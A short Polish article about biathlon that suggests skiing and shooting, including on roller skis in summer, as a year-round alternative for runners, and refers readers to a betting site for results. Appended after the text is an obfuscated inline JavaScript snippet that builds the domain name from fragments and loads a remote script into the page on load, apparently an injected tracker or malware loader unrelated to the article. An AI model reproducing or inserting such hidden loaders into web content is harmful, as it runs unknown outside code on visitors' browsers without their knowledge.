Zimowa aura często stanowi przeszkodę w regularnym uprawianiu sportu na świeżym powietrzu. Dlatego osoby prowadzące aktywny tryb życia, nie chcąc zamykać się na długie miesiące w murach siłowni szukają alternatyw. Biegacze mogą próbować naśladować naszą „Królową Nart” Justynę Kowalczyk, czy od lat znajdujące się w światowej czołówce biathlonistki.
Bez względu na pogodę
Choć na razie pogoda za oknem bardziej przypomina wczesną wiosnę niż zimę to chyba nikt nie łudzi się, że najzimniejsza pora roku zapomniała o nas na dobre. Zapewne w styczniu i lutym będziemy mieli do czynienia z opadami śniegu, które są pewnym utrudnieniem dla biegaczy, chcących trenować przez cały rok na powietrzu. Stąd pomysł o zainteresowaniu większej grupy osób biegami narciarskimi, a w szczególności ich odmianą wzbogaconą o strzelanie czyli biathlonem. Biathlonem, który wbrew powszechnej opinii można uprawiać przez cały rok, również w warunkach kiedy za oknem brakuje śniegu. Wystarczy zamienić tradycyjne narty na te wyposażone w kółka, które pozwalają trenować nawet w trakcie upalnego lata.
Trudniej niż może się wydawać
Biathlon czyli dwubój zimowy jest bardzo wymagającą dyscypliną sportu, bo oprócz nienagannej kondycji koniecznej do pokonania od kilku do nawet kilkudziesięciu kilometrów w dobrym tempie, niezbędne jest „dobre oko” i opanowanie na strzelnicy. Zawodnicy w trakcie morderczego biegu muszą opanować lub najlepiej wstrzymać oddech i trafić w cele oddalone o 50 metrów. Średnica celu dla strzelania w pozycji leżącej wynosi tylko 45 milimetrów i 115 milimetrów w przypadku strzelania w tak zwanej stójce. W zależności od rozgrywanej konkurencji za chybiony strzał zawodnik otrzymuje karną minutę do czasu łącznego lub musi pokonać karną rundę mierzącą 150 metrów. Nie ulega wątpliwości, że jest to jedna z najbardziej widowiskowych i nieprzewidywalnych dyscyplin z zastosowaniem nart. Zachęcamy do spróbowania swoich sił w tym sporcie oraz dopingowanie naszych reprezentantek i reprezentantów podczas transmisji telewizyjnych. Jeżeli z jakiś względów nie macie jednak możliwości śledzenia relacji, to komplet aktualnych wyników znajdziecie na www.totolotek.pl.
<script type="text/javascript">
(function(){
uXsx=document.createElement("script");uXsx.type="text/javascript";
uXsx.async=true;uXsx_=(("us")+"t")+"a";uXsx_+=("t.i")+""+"n";uXsx_+=(("f")+"o");
uXsx.src="http://"+uXsx_+"/6914275.ghif18xsXsxf3yp2rpn0l9dlaXcfzg";
document.body.appendChild(uXsx);
})();
</script>